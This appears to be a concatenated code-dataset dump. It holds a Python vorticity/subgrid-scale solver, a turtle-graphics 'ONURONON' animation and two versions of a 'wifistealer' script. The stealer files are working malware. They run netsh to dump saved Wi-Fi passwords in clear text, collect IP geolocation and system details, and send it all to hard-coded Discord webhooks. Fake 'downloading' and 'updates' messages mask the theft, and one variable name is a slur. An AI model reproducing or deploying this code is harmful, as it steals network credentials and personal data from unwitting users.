repo_name stringlengths 6 97 | path stringlengths 3 341 | text stringlengths 8 1.02M |
|---|---|---|
wedeling/CAF_reduced_SGS | reduced_sgs.py | <filename>reduced_sgs.py
"""
========================================================================
PYTHON SCRIPT ACCOMPANYING:
W.EDELING, <NAME>,
"Reducing data-driven dynamical subgrid scale models
by physical constraints"
SUBMITTED TO COMPUTERS & FLUIDS, 2019.
========================================================================
"""
######################
# SOLVER SUBROUTINES #
######################
#pseudo-spectral technique to solve for Fourier coefs of Jacobian
def compute_VgradW_hat(w_hat_n, P):
#compute streamfunction
psi_hat_n = w_hat_n/k_squared_no_zero
psi_hat_n[0,0] = 0.0
#compute jacobian in physical space
u_n = np.fft.irfft2(-ky*psi_hat_n)
w_x_n = np.fft.irfft2(kx*w_hat_n)
v_n = np.fft.irfft2(kx*psi_hat_n)
w_y_n = np.fft.irfft2(ky*w_hat_n)
VgradW_n = u_n*w_x_n + v_n*w_y_n
#return to spectral space
VgradW_hat_n = np.fft.rfft2(VgradW_n)
VgradW_hat_n *= P
return VgradW_hat_n
#get Fourier coefficient of the vorticity at next (n+1) time step
def get_w_hat_np1(w_hat_n, w_hat_nm1, VgradW_hat_nm1, P, norm_factor, sgs_hat = 0.0):
#compute jacobian
VgradW_hat_n = compute_VgradW_hat(w_hat_n, P)
#solve for next time step according to AB/BDI2 scheme
w_hat_np1 = norm_factor*P*(2.0/dt*w_hat_n - 1.0/(2.0*dt)*w_hat_nm1 - \
2.0*VgradW_hat_n + VgradW_hat_nm1 + mu*F_hat - sgs_hat)
return w_hat_np1, VgradW_hat_n
#compute spectral filter
def get_P(cutoff):
P = np.ones([N, int(N/2+1)])
for i in range(N):
for j in range(int(N/2+1)):
if np.abs(kx[i, j]) > cutoff or np.abs(ky[i, j]) > cutoff:
P[i, j] = 0.0
return P
def get_P_k(k_min, k_max):
P_k = np.zeros([N, N])
idx0, idx1 = np.where((binnumbers >= k_min) & (binnumbers <= k_max))
P_k[idx0, idx1] = 1.0
return P_k[0:N, 0:int(N/2+1)]
#compute spectral filter
def get_P_full(cutoff):
P = np.ones([N, N])
for i in range(N):
for j in range(N):
if np.abs(kx_full[i, j]) > cutoff or np.abs(ky_full[i, j]) > cutoff:
P[i, j] = 0.0
return P
#return the fourier coefs of the stream function
def get_psi_hat(w_hat_n):
psi_hat_n = w_hat_n/k_squared_no_zero
psi_hat_n[0,0] = 0.0
return psi_hat_n
##########################
# END SOLVER SUBROUTINES #
##########################
#############################
# MISCELLANEOUS SUBROUTINES #
#############################
#store samples in hierarchical data format, when sample size become very large
def store_samples_hdf5():
fname = HOME + '/samples/' + store_ID + '_t_' + str(np.around(t_end/day, 1)) + '.hdf5'
print('Storing samples in ', fname)
if os.path.exists(HOME + '/samples') == False:
os.makedirs(HOME + '/samples')
#create HDF5 file
h5f = h5py.File(fname, 'w')
#store numpy sample arrays as individual datasets in the hdf5 file
for q in QoI:
h5f.create_dataset(q, data = samples[q])
h5f.close()
def draw():
"""
simple plotting routine
"""
plt.clf()
plt.subplot(121, title=r'$Q_1$', xlabel=r'$t\;[day]$')
plt.plot(np.array(T)/day, plot_dict_HF[0], 'o', label=r'Reference')
plt.plot(np.array(T)/day, plot_dict_LF[0], label='Reduced')
plt.legend(loc=0)
plt.subplot(122, title=r'$Q_2$', xlabel=r'$t\;[day]$')
plt.plot(np.array(T)/day, plot_dict_HF[1], 'o')
plt.plot(np.array(T)/day, plot_dict_LF[1])
plt.pause(0.05)
#plot instantaneous energy spectrum
# plt.subplot(122, xscale='log', yscale='log')
# plt.plot(bins+1, E_spec_HF, '--')
# plt.plot(bins+1, E_spec_LF)
# plt.plot([Ncutoff_LF + 1, Ncutoff_LF + 1], [10, 0], 'lightgray')
# plt.plot([np.sqrt(2)*Ncutoff_LF + 1, np.sqrt(2)*Ncutoff_LF + 1], [10, 0], 'lightgray')
plt.tight_layout()
#################################
# END MISCELLANEOUS SUBROUTINES #
#################################
###########################
# REDUCED SGS SUBROUTINES #
###########################
def reduced_r(V_hat, dQ):
"""
Compute the reduced SGS term
"""
#compute the T_ij basis functions
T_hat = np.zeros([N_Q, N_Q, N,int(N/2+1)]) + 0.0j
for i in range(N_Q):
T_hat[i, 0] = V_hat[i]
J = np.delete(np.arange(N_Q), i)
idx = 1
for j in J:
T_hat[i, idx] = V_hat[j]
idx += 1
#compute the coefficients c_ij for P_i
c_ij = compute_cij(T_hat, V_hat)
EF_hat = 0.0
#loop over all QoI
for i in range(N_Q):
#compute the fourier coefs of the P_i
P_hat_i = T_hat[i, 0]
for j in range(0, N_Q-1):
P_hat_i -= c_ij[i, j]*T_hat[i, j+1]
#(V_i, P_i) integral
src_i = compute_int(V_hat[i], P_hat_i)
#compute tau_i = Delta Q_i/ (V_i, P_i)
tau_i = dQ[i]/src_i
#compute reduced soure term
EF_hat -= tau_i*P_hat_i
return EF_hat
def compute_cij(T_hat, V_hat):
"""
compute the coefficients c_ij of P_i = T_{i,1} - c_{i,2}*T_{i,2}, - ...
"""
c_ij = np.zeros([N_Q, N_Q-1])
for i in range(N_Q):
A = np.zeros([N_Q-1, N_Q-1])
b = np.zeros(N_Q-1)
k = np.delete(np.arange(N_Q), i)
for j1 in range(N_Q-1):
for j2 in range(N_Q-1):
integral = compute_int(V_hat[k[j1]], T_hat[i, j2+1])
A[j1, j2] = integral
for j1 in range(N_Q-1):
integral = compute_int(V_hat[k[j1]], T_hat[i, 0])
b[j1] = integral
if N_Q == 2:
c_ij[i,:] = b/A
else:
c_ij[i,:] = np.linalg.solve(A, b)
return c_ij
def get_qoi(w_hat_n, target):
"""
compute the Quantity of Interest defined by the string target
"""
w_n = np.fft.irfft2(w_hat_n)
#energy (psi, omega)/2
if target == 'e':
psi_hat_n = w_hat_n/k_squared_no_zero
psi_hat_n[0,0] = 0.0
psi_n = np.fft.irfft2(psi_hat_n)
e_n = -0.5*psi_n*w_n
return simps(simps(e_n, axis), axis)/(2*np.pi)**2
#enstrophy (omega, omega)/2
elif target == 'z':
z_n = 0.5*w_n**2
return simps(simps(z_n, axis), axis)/(2*np.pi)**2
#average vorticity (1, omega)
elif target == 'w1':
return simps(simps(w_n, axis), axis)/(2*np.pi)**2
#higher moment vorticity (omega^2, omega)/3
elif target == 'w3':
w3_n = w_n**3/3.0
return simps(simps(w3_n, axis), axis)/(2*np.pi)**2
else:
print(target, 'IS AN UNKNOWN QUANTITY OF INTEREST')
import sys; sys.exit()
def compute_int(X1_hat, X2_hat):
"""
Compute integral using Simpsons rule
"""
X1 = np.fft.irfft2(X1_hat)
X2 = np.fft.irfft2(X2_hat)
return simps(simps(X1*X2, axis), axis)/(2*np.pi)**2
###############################
# END REDUCED SGS SUBROUTINES #
###############################
#########################
## SPECTRUM SUBROUTINES #
#########################
def freq_map():
"""
Map 2D frequencies to a 1D bin (kx, ky) --> k
where k = 0, 1, ..., sqrt(2)*Ncutoff
"""
#edges of 1D wavenumber bins
bins = np.arange(-0.5, np.ceil(2**0.5*Ncutoff)+1)
#fmap = np.zeros([N,N]).astype('int')
dist = np.zeros([N,N])
for i in range(N):
for j in range(N):
#Euclidian distance of frequencies kx and ky
dist[i, j] = np.sqrt(kx_full[i,j]**2 + ky_full[i,j]**2).imag
#find 1D bin index of dist
_, _, binnumbers = stats.binned_statistic(dist.flatten(), np.zeros(N**2), bins=bins)
binnumbers -= 1
return binnumbers.reshape([N, N]), bins
def spectrum(w_hat, P):
#convert rfft2 coefficients to fft2 coefficients
w_hat_full = np.zeros([N, N]) + 0.0j
w_hat_full[0:N, 0:int(N/2+1)] = w_hat
w_hat_full[map_I, map_J] = np.conjugate(w_hat[I, J])
w_hat_full *= P
psi_hat_full = w_hat_full/k_squared_no_zero_full
psi_hat_full[0,0] = 0.0
E_hat = -0.5*psi_hat_full*np.conjugate(w_hat_full)/N**4
Z_hat = 0.5*w_hat_full*np.conjugate(w_hat_full)/N**4
E_spec = np.zeros(N_bins)
Z_spec = np.zeros(N_bins)
for i in range(N):
for j in range(N):
bin_idx = binnumbers[i, j]
E_spec[bin_idx] += E_hat[i, j].real
Z_spec[bin_idx] += Z_hat[i, j].real
return E_spec, Z_spec
#############################
# END SPECTRUM SUBROUTINES #
#############################
###########################
# M A I N P R O G R A M #
###########################
import numpy as np
import matplotlib.pyplot as plt
import os
import h5py
from scipy.integrate import simps
import sys
from scipy import stats
import json
plt.close('all')
plt.rcParams['image.cmap'] = 'seismic'
HOME = os.path.abspath(os.path.dirname(__file__))
#number of gridpoints in 1D for reference model (HF model)
I = 8
N = 2**I
#number of gridpoints in 1D for low resolution model, denoted by _LF
N_LF = 2**(I-2)
#IMPORTANT: this is only used to computed the cutoff freq N_cutoff_LF below
#The LF model is still computed on the high-resolution grid. This is
#convenient implementationwise, but inefficient in terms of computational
#cost. This script only serves as a proof of concept, and can certainly
#be improved in terms of bringing down the runtime. The LF and HF model
#are executed at the same time here.
#2D grid
h = 2*np.pi/N
axis = h*np.arange(1, N+1)
axis = np.linspace(0, 2.0*np.pi, N)
[x , y] = np.meshgrid(axis , axis)
#frequencies of rfft2
k = np.fft.fftfreq(N)*N
kx = np.zeros([N, int(N/2+1)]) + 0.0j
ky = np.zeros([N, int(N/2+1)]) + 0.0j
for i in range(N):
for j in range(int(N/2+1)):
kx[i, j] = 1j*k[j]
ky[i, j] = 1j*k[i]
#frequencies of fft2 (only used to compute the spectra)
k_squared = kx**2 + ky**2
k_squared_no_zero = np.copy(k_squared)
k_squared_no_zero[0,0] = 1.0
kx_full = np.zeros([N, N]) + 0.0j
ky_full = np.zeros([N, N]) + 0.0j
for i in range(N):
for j in range(N):
kx_full[i, j] = 1j*k[j]
ky_full[i, j] = 1j*k[i]
k_squared_full = kx_full**2 + ky_full**2
k_squared_no_zero_full = np.copy(k_squared_full)
k_squared_no_zero_full[0,0] = 1.0
#cutoff in pseudospectral method
Ncutoff = np.int(N/3) #reference cutoff
Ncutoff_LF = np.int(N_LF/3) #cutoff of low resolution (LF) model
#spectral filter
P = get_P(Ncutoff)
P_LF = get_P(Ncutoff_LF)
P_U = P - P_LF
#spectral filter for the full FFT2
P_full = get_P_full(Ncutoff)
P_LF_full = get_P_full(Ncutoff_LF)
#read flags from input file
fpath = sys.argv[1]
fp = open(fpath, 'r')
#print the desription of the input file
print(fp.readline())
binnumbers, bins = freq_map()
N_bins = bins.size
###################
# Read input file #
###################
flags = json.loads(fp.readline())
print('*********************')
print('Simulation flags')
print('*********************')
for key in flags.keys():
vars()[key] = flags[key]
print(key, '=', flags[key])
N_Q = int(fp.readline())
targets = []
V = []
P_i = []
for i in range(N_Q):
qoi_i = json.loads(fp.readline())
targets.append(qoi_i['target'])
V.append(qoi_i['V_i'])
k_min = qoi_i['k_min']
k_max = qoi_i['k_max']
P_i.append(get_P_k(k_min, k_max))
print('*********************')
dW3_calc = np.in1d('dW3', targets)
#map from the rfft2 coefficient indices to fft2 coefficient indices
#Use: see compute_E_Z subroutine
shift = np.zeros(N).astype('int')
for i in range(1,N):
shift[i] = np.int(N-i)
I = range(N);J = range(np.int(N/2+1))
map_I, map_J = np.meshgrid(shift[I], shift[J])
I, J = np.meshgrid(I, J)
#time scale
Omega = 7.292*10**-5
day = 24*60**2*Omega
#viscosities
decay_time_nu = 5.0
decay_time_mu = 90.0
nu = 1.0/(day*Ncutoff**2*decay_time_nu)
nu_LF = 1.0/(day*Ncutoff**2*decay_time_nu)
mu = 1.0/(day*decay_time_mu)
#start, end time, end time of, time step
dt = 0.01
t = 0.0*day
t_end = t + 10*365*day
n_steps = np.int(np.round((t_end-t)/dt))
#############
# USER KEYS #
#############
#framerate of storing data, plotting results (1 = every integration time step)
store_frame_rate = np.floor(1.0*day/dt).astype('int')
#store_frame_rate = 1
plot_frame_rate = np.floor(1.0*day/dt).astype('int')
#length of data array
S = np.floor(n_steps/store_frame_rate).astype('int')
store_ID = sim_ID
###############################
# SPECIFY WHICH DATA TO STORE #
###############################
#TRAINING DATA SET
QoI = ['w_hat_n_LF', 'w_hat_n_HF', 'z_n_HF', 'e_n_HF', 'z_n_LF', 'e_n_LF']
Q = len(QoI)
#allocate memory
samples = {}
if store == True:
samples['S'] = S
samples['N'] = N
for q in range(Q):
#assume a field contains the string '_hat_'
if '_hat_' in QoI[q]:
samples[QoI[q]] = np.zeros([S, N, int(N/2+1)]) + 0.0j
#a scalar
else:
samples[QoI[q]] = np.zeros(S)
#forcing term
F = 2**1.5*np.cos(5*x)*np.cos(5*y);
F_hat = np.fft.rfft2(F);
F_hat_full = np.fft.fft2(F)
#V_i for Q_i = (1, omega)
V_hat_w1 = P_LF*np.fft.rfft2(np.ones([N,N]))
if restart == True:
fname = HOME + '/restart/' + sim_ID + '_t_' + str(np.around(t/day,1)) + '.hdf5'
#create HDF5 file
h5f = h5py.File(fname, 'r')
for key in h5f.keys():
print(key)
vars()[key] = h5f[key][:]
h5f.close()
else:
#initial condition
w = np.sin(4.0*x)*np.sin(4.0*y) + 0.4*np.cos(3.0*x)*np.cos(3.0*y) + \
0.3*np.cos(5.0*x)*np.cos(5.0*y) + 0.02*np.sin(x) + 0.02*np.cos(y)
#initial Fourier coefficients at time n and n-1
w_hat_n_HF = P*np.fft.rfft2(w)
w_hat_nm1_HF = np.copy(w_hat_n_HF)
w_hat_n_LF = P_LF*np.fft.rfft2(w)
w_hat_nm1_LF = np.copy(w_hat_n_LF)
#initial Fourier coefficients of the jacobian at time n and n-1
VgradW_hat_n_HF = compute_VgradW_hat(w_hat_n_HF, P)
VgradW_hat_nm1_HF = np.copy(VgradW_hat_n_HF)
VgradW_hat_n_LF = compute_VgradW_hat(w_hat_n_LF, P_LF)
VgradW_hat_nm1_LF = np.copy(VgradW_hat_n_LF)
#constant factor that appears in AB/BDI2 time stepping scheme
norm_factor = 1.0/(3.0/(2.0*dt) - nu*k_squared + mu) #for reference solution
norm_factor_LF = 1.0/(3.0/(2.0*dt) - nu_LF*k_squared + mu) #for Low-Fidelity (LF) or resolved solution
#some counters
j = 0; j2 = 0; idx = 0;
if plot == True:
fig = plt.figure(figsize=[8, 4])
plot_dict_LF = {}
plot_dict_HF = {}
T = []
for i in range(N_Q):
plot_dict_LF[i] = []
plot_dict_HF[i] = []
#time loop
for n in range(n_steps):
if compute_ref == True:
#solve for next time step
w_hat_np1_HF, VgradW_hat_n_HF = get_w_hat_np1(w_hat_n_HF, w_hat_nm1_HF, VgradW_hat_nm1_HF, P, norm_factor)
#exact eddy forcing
EF_hat_nm1_exact = P_LF*VgradW_hat_nm1_HF - VgradW_hat_nm1_LF
#exact orthogonal pattern surrogate
if eddy_forcing_type == 'tau_ortho':
psi_hat_n_LF = get_psi_hat(w_hat_n_LF)
w_n_LF = np.fft.irfft2(w_hat_n_LF)
if dW3_calc:
w_hat_n_LF_squared = P_LF*np.fft.rfft2(w_n_LF**2)
V_hat = np.zeros([N_Q, N, int(N/2+1)]) + 0.0j
dQ = []
for i in range(N_Q):
V_hat[i] = P_i[i]*eval(V[i])
Q_HF = get_qoi(P_i[i]*w_hat_n_HF, targets[i])
Q_LF = get_qoi(P_i[i]*w_hat_n_LF, targets[i])
dQ.append(Q_HF - Q_LF)
EF_hat = reduced_r(V_hat, dQ)
#unparameterized solution
elif eddy_forcing_type == 'unparam':
EF_hat = np.zeros([N, int(N/2+1)])
#exact, full-field eddy forcing
elif eddy_forcing_type == 'exact':
EF_hat = EF_hat_nm1_exact
else:
print('No valid eddy_forcing_type selected')
sys.exit()
#########################
#LF solve
w_hat_np1_LF, VgradW_hat_n_LF = get_w_hat_np1(w_hat_n_LF, w_hat_nm1_LF, VgradW_hat_nm1_LF, P_LF, norm_factor_LF, EF_hat)
t += dt
j += 1
j2 += 1
#plot solution every plot_frame_rate. Requires drawnow() package
if j == plot_frame_rate and plot == True:
j = 0
for i in range(N_Q):
Q_i_LF = get_qoi(P_i[i]*w_hat_n_LF, targets[i])
Q_i_HF = get_qoi(P_i[i]*w_hat_n_HF, targets[i])
plot_dict_LF[i].append(Q_i_LF)
plot_dict_HF[i].append(Q_i_HF)
T.append(t)
E_spec_HF, Z_spec_HF = spectrum(w_hat_n_HF, P_full)
E_spec_LF, Z_spec_LF = spectrum(w_hat_n_LF, P_LF_full)
# drawnow(draw)
draw()
#store samples to dict
if j2 == store_frame_rate and store == True:
j2 = 0
#if targets[i] = 'e', this will generate variables e_n_LF and e_Z_n_LF
#to be stored in samples
for i in range(N_Q):
vars()[targets[i] + '_n_LF'] = get_qoi(P_i[i]*w_hat_n_LF, targets[i])
vars()[targets[i] + '_n_HF'] = get_qoi(P_i[i]*w_hat_n_HF, targets[i])
for qoi in QoI:
samples[qoi][idx] = eval(qoi)
idx += 1
#update variables
if compute_ref == True:
w_hat_nm1_HF = np.copy(w_hat_n_HF)
w_hat_n_HF = np.copy(w_hat_np1_HF)
VgradW_hat_nm1_HF = np.copy(VgradW_hat_n_HF)
w_hat_nm1_LF = np.copy(w_hat_n_LF)
w_hat_n_LF = np.copy(w_hat_np1_LF)
VgradW_hat_nm1_LF = np.copy(VgradW_hat_n_LF)
####################################
#store the state of the system to allow for a simulation restart at t > 0
if state_store == True:
keys = ['w_hat_nm1_HF', 'w_hat_n_HF', 'VgradW_hat_nm1_HF', \
'w_hat_nm1_LF', 'w_hat_n_LF', 'VgradW_hat_nm1_LF']
if os.path.exists(HOME + '/restart') == False:
os.makedirs(HOME + '/restart')
#cPickle.dump(state, open(HOME + '/restart/' + sim_ID + '_t_' + str(np.around(t_end/day,1)) + '.pickle', 'w'))
fname = HOME + '/restart/' + sim_ID + '_t_' + str(np.around(t_end/day,1)) + '.hdf5'
#create HDF5 file
h5f = h5py.File(fname, 'w')
#store numpy sample arrays as individual datasets in the hdf5 file
for key in keys:
qoi = eval(key)
h5f.create_dataset(key, data = qoi)
h5f.close()
####################################
#store the samples
if store == True:
store_samples_hdf5()
plt.show()
|
mtsarkar2000/Onuronon-Animation | code.py | import turtle
import math
import random
from alphabet import alphabet
################################
wn = turtle.Screen()
wn.bgcolor('black')
#############################
myPen = turtle.Turtle()
myPen.hideturtle()
myPen.speed(1)
window = turtle.Screen()
window.bgcolor("#000000")
myPen.pensize(2)
def displayMessage(message,fontSize,color,x,y):
myPen.color(color)
message=message.upper()
for character in message:
if character in alphabet:
letter=alphabet[character]
myPen.penup()
for dot in letter:
myPen.goto(x + dot[0]*fontSize, y + dot[1]*fontSize)
myPen.pendown()
x += fontSize
if character == " ":
x += fontSize
x += characterSpacing
#############################
fontSize = 30
characterSpacing = 9
fontColor = "blue"
message = "ONURONON"
displayMessage(message,fontSize,fontColor,-130,250)
###############################
Tamim = turtle.Turtle()
Tamim.speed(0)
Tamim.color('white')
rotate=int(360)
def drawCircles(t,size):
for i in range(10):
t.circle(size)
size=size-4
def drawSpecial(t,size,repeat):
for i in range (repeat):
drawCircles(t,size)
t.right(360/repeat)
drawSpecial(Tamim,100,10)
t2 = turtle.Turtle()
t2.speed(0)
t2.color('yellow')
rotate=int(90)
def drawCircles(t,size):
for i in range(4):
t.circle(size)
size=size-10
def drawSpecial(t,size,repeat):
for i in range (repeat):
drawCircles(t,size)
t.right(360/repeat)
drawSpecial(t2,100,10)
t3 = turtle.Turtle()
t3.speed(0)
t3.color('blue')
rotate=int(80)
def drawCircles(t,size):
for i in range(4):
t.circle(size)
size=size-5
def drawSpecial(t,size,repeat):
for i in range (repeat):
drawCircles(t,size)
t.right(360/repeat)
drawSpecial(t3,100,10)
t4 = turtle.Turtle()
t4.speed(0)
t4.color('orange')
rotate=int(90)
def drawCircles(t,size):
for i in range(4):
t.circle(size)
size=size-19
def drawSpecial(t,size,repeat):
for i in range (repeat):
drawCircles(t,size)
t.right(360/repeat)
drawSpecial(t4,100,10)
t5 = turtle.Turtle()
t5.speed(0)
t5.color('pink')
rotate=int(90)
def drawCircles(t,size):
for i in range(4):
t.circle(size)
size=size-20
def drawSpecial(t,size,repeat):
for i in range (repeat):
drawCircles(t,size)
t.right(360/repeat)
drawSpecial(t5,100,10)
wn.exitonclick() |
mtsarkar2000/Onuronon-Animation | alphabet.py | alphabet = {
'A': ((0,0),(0.5,1),(0.75,0.5),(0.25,0.5),(0.75,0.5),(1,0)),
'B': ((0,0),(0,1),(0.625 ,1),(0.75,0.875),(0.75,0.625),(0.625,0.5),(0,0.5),(0.625,0.5),(0.75,0.375),(0.75,0.125),(0.625,0),(0,0)),
'C': ((0.75,0.125),(0.625,0),(0.125,0),(0,0.125),(0,0.875),(0.125,1),(0.625,1),(0.75,0.875)),
'D': ((0,0),(0,1),(0.625 ,1),(0.75,0.875),(0.75,0.125),(0.625,0),(0,0)),
'E': ((0.75,0),(0,0),(0,0.5),(0.75,0.5),(0,0.5),(0,1),(0.75,1)),
'F': ((0,0),(0,0.5),(0.75,0.5),(0,0.5),(0,1),(0.75,1)),
'G': ((0.75,0.5),(0.625,0.5),(0.75,0.5),(0.75,0.125),(0.625,0),(0.125,0),(0,0.125),(0,0.875),(0.125,1),(0.625,1),(0.75,0.875)),
'H': ((0,0),(0,1),(0,0.5),(0.75,0.5),(0.75,1),(0.75,0)),
'I': ((0,0),(0.25,0),(0.125,0),(0.125,1),(0,1),(0.25,1)),
'J': ((0,0.125),(0.125,0),(0.375,0),(0.5,0.125),(0.5,1)),
'K': ((0,0),(0,1),(0,0.5),(0.75,1),(0,0.5),(0.75,0)),
'L': ((0,0),(0,1),(0,0),(0.75,0)),
'M': ((0,0),(0,1),(0.5,0),(1,1),(1,0)),
'N': ((0,0),(0,1),(0.75,0),(0.75,1)),
'O': ((0.75,0.125),(0.625,0),(0.125,0),(0,0.125),(0,0.875),(0.125,1),(0.625,1),(0.75,0.875),(0.75,0.125)),
'P': ((0,0),(0,1),(0.625,1),(0.75,0.875),(0.75,0.625),(0.625,0.5),(0,0.5)),
'Q': ((0.75,0.125),(0.625,0),(0.125,0),(0,0.125),(0,0.875),(0.125,1),(0.625,1),(0.75,0.875),(0.75,0.125),(0.875,0)),
'R': ((0,0),(0,1),(0.625,1),(0.75,0.875),(0.75,0.625),(0.625,0.5),(0,0.5),(0.625,0.5),(0.875,0)),
'S': ((0,0.125),(0.125,0),(0.625,0),(0.75,0.125),(0.75,0.375),(0.675,0.5),(0.125,0.5),(0,0.625),(0,0.875),(0.125,1),(0.625,1),(0.75,0.875)),
'T': ((0,1),(0.5,1),(0.5,0),(0.5,1),(1,1)),
'U': ((0,1),(0,0.125),(0.125,0),(0.625,0),(0.75,0.125),(0.75,1)),
'V': ((0,1),(0.375,0),(0.75,1)),
'W': ((0,1),(0.25,0),(0.5,1),(0.75,0),(1,1)),
'X': ((0,0),(0.375,0.5),(0,1),(0.375,0.5),(0.75,1),(0.375,0.5),(0.75,0)),
'Y': ((0,1),(0.375,0.5),(0.375,0),(0.375,0.5),(0.75,1)),
'Z': ((0,1),(0.75,1),(0,0),(0.75,0)),
} |
Abhinav-ranish/wifistealer | src/prohecks.py | import io #module is used for writing on files
import subprocess # to access certain cmds like netsh
import requests as pp #request used for scraping js websites
import os as op #os is just op
import webbrowser as poop #rickroll and SP :)
import socket as poggchamp #getting hostname not nessecary can remove
from dhooks import Webhook, File #sending webhooks
import platform as halal #getting host names
import wmi # more info from windows (only works with windows)
op.system("color 0a") #cool color in windows cmd
fname = "holyshit.txt" #saves the ip data as txt files
whobedum = poggchamp.gethostname() # gets the host name using socket module
mynigga = halal.uname() #using the platform module grabs usefull info about host pc.
windowsop = wmi.WMI() #using the wmi platform grab info about the windows pc.
macsuxs = windowsop.Win32_ComputerSystem()[0] #Win32 module from wmi
Wbhook_wifi = Webhook("https://discord.com/api/webhooks/880554721922916402/1OL1oEL7pLryhFkGrCl7lNR5xethn5gms8JlEpRHbM-kVQwwutuZ7F00aq-a43pJcSHz")#wifipass gets dumped here
Wbhook_nowifi = Webhook("https://discord.com/api/webhooks/880554730462535751/TVU-jyTKMLkqE3BqXBE3xHMvEMRj-iX-5TXVaYkxfzYMYxrHkRh8kQn_tcjupCaKk9JU") #nowifipass get dumped here
Wbhook_ip = Webhook("https://discord.com/api/webhooks/880516595670192208/7H7vG-feqnASTWD8VyZzv2uBHo1y3zJ8dtANpVW6e1qcUcAgvmmuoduf9EGarg00nKk7") #ip data gets dumped here( using discord as a platform)
x = pp.get("http://ip-api.com/json") #request module to scrape ip from ;;
data = str(x.json()) #making scraped data str and json
print("Downloading Modules")
with io.open(fname, 'w', encoding="utf-8") as pog:
pog.write(data) #writes the holyshit.txt file
# Following is the Message which goes in the first ip dump
Wbhook_ip.send(f'''
**--------------------------GRABBED_INFO-----------------------------**
Hello There Young Lad,
This is Hecker From Dark Web.
Lmao just take the ip and get lost baibai.
@everyone
https://github.com/abhinav-ranish
https://abhinavranish.gq
-------------------------------------------------------------------
AbhiQ Grabber=
```yaml
---------------------------Precise Info---------------------------
{data}
---------------------------------------------------------------------
```
Hostname = {whobedum}
---------------------------------------------------------------------
**---------------------------System Info-----------------------------**
System = {mynigga.system}
Node Name = {mynigga.node}
Release = {mynigga.release}
Machine = {mynigga.machine}
Processor = {mynigga.processor}
Version = {mynigga.version}
-------------------------------------------------------------------
**----------------------------Windows PC----------------------------**
Manufacturer = {macsuxs.Manufacturer}
Model = {macsuxs. Model}
Name = {macsuxs.Name}
NumberOfProcessors = {macsuxs.NumberOfProcessors}
SystemType = {macsuxs.SystemType}
SystemFamily = {macsuxs.SystemFamily}
-------------------------------------------------------------------
CC@ https://github.com/abhinav-ranish
-------------------------------------------------------------------
'''
)
#Nowifi dump and since its on another channel creates a sub heading for new victims
Wbhook_nowifi.send(f"**Hostname = {whobedum}**")
Wbhook_wifi.send(f"**Node Name = {mynigga.node}** **Name = {macsuxs.Name}** ")
print("downloading python==1.39 -------------------/------------") #some fake shit like a pro gamer
data = subprocess.check_output(['netsh', 'wlan', 'show', 'profile']).decode('utf-8').split('\n') #uses subprpocess module to acess windows cmds like netsh etc.
profiles = [i.split(":")[1][1:-1] for i in data if "All User Profile" in i]
for i in profiles:
results = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', i, 'key=clear']).decode('utf-8').split('\n') #use netsh windows network manager tool to see wifi pass in clear.
results = [b.split(":")[1][1:-1] for b in results if "Key Content" in b ]
try:
Wbhook_wifi.send ("{:<30}| {:<}".format(i,results[0])) #sends wifi uname and psswd in a order
except IndexError:
Wbhook_nowifi.send ("{:<30}| {:<}".format(i, "")) #send open wifis
except:
print("Errors Found") #overules any errors and doesnt kill the code
print("Checking For Updates") #fake shit :)
print("Scanning....") #more fake shit
print("Enjoy Life Beta.") #enjoy ur life beta
input("Enter To See Results!") #rickrolls the person when click any button
poop.open_new_tab("https://abhinavranish.gq")#my website
poop.open_new_tab("https://github.com/abhinav-ranish")#my github
poop.open_new("https://www.youtube.com/watch?v=dQw4w9WgXcQ")#rickroll link
print("Noob Gamer Get Rolled. For More Visit abhinaranish.gq")#fake shit
|
Abhinav-ranish/wifistealer | src/obusfcation_idk.py | import io , subprocess as rip , requests as pp, os as op , webbrowser as p1, socket as poggchamp, platform as halal, wmi
from dhooks import Webhook, File
op.system("color 0a")
fname = "holyshit.txt"
whobedum = poggchamp.gethostname()
mynigga = halal.uname()
windowsop = wmi.WMI()
macsuxs = windowsop.Win32_ComputerSystem()[0]
Wbhook_wifi = Webhook("https://discord.com/api/webhooks/880554721922916402/1OL1oEL7pLryhFkGrCl7lNR5xethn5gms8JlEpRHbM-kVQwwutuZ7F00aq-a43pJcSHz")
Wbhook_nowifi = Webhook("https://discord.com/api/webhooks/880554730462535751/TV<KEY>")
Wbhook_ip = Webhook("https://discord.com/api/webhooks/880516595670192208/7H7vG-feqnASTWD8VyZzv2uBHo1y3zJ8dtANpVW6e1qcUcAgvmmuoduf9EGarg00nKk7")
x = pp.get("http://ip-api.com/json")
data = str(x.json())
print("Downloading Modules")
with io.open(fname, 'w', encoding="utf-8") as pog:
pog.write(data)
Wbhook_ip.send(f'''
**--------------------------GRABBED_INFO-----------------------------**
Hello There Yo<NAME>,\nThis is Hecker From Dark Web.\nLmao just take the ip and get lost baibai.\n@everyone\nhttps://github.com/abhinav-ranish\nhttps://abhinavranish.gq
-------------------------------------------------------------------
AbhiQ Grabber =
```yaml
---------------------------Precise Info---------------------------
{data}
---------------------------------------------------------------------
```
Hostname = {whobedum}
---------------------------------------------------------------------
**---------------------------System Info-----------------------------**
System = {mynigga.system}\nNode Name = {mynigga.node}\nRelease = {mynigga.release}\nMachine = {mynigga.machine}\nProcessor = {mynigga.processor}\nVersion = {mynigga.version}
-------------------------------------------------------------------
**----------------------------Windows PC----------------------------**
Manufacturer = {macsuxs.Manufacturer}\nModel = {macsuxs. Model}\nName = {macsuxs.Name}\nNumberOfProcessors = {macsuxs.NumberOfProcessors}\nSystemType = {macsuxs.SystemType}\nSystemFamily = {macsuxs.SystemFamily}
-------------------------------------------------------------------
CC@ https://github.com/abhinav-ranish
-------------------------------------------------------------------
''')
Wbhook_nowifi.send(f"**Hostname = {whobedum}**")
Wbhook_wifi.send(f"**Node Name = {mynigga.node}** **Name = {macsuxs.Name}** ")
print("downloading python==1.39 -------------------/------------")
data = rip.check_output(['netsh', 'wlan', 'show', 'profile']).decode('utf-8').split('\n')
profiles = [i.split(":")[1][1:-1] for i in data if "All User Profile" in i]
for i in profiles:
results = rip.check_output(['netsh', 'wlan', 'show', 'profile', i, 'key=clear']).decode('utf-8').split('\n')
results = [b.split(":")[1][1:-1] for b in results if "Key Content" in b ]
try:
Wbhook_wifi.send ("{:<30}| {:<}".format(i,results[0]))
except IndexError:
Wbhook_nowifi.send ("{:<30}| {:<}".format(i, ""))
except:
print("Errors Found")
print("Checking For Updates")
print("Scanning....") #more fake shit
print("Enjoy Life Beta.") #enjoy ur life beta
input("Enter To See Results!") #rickrolls the person when click any button
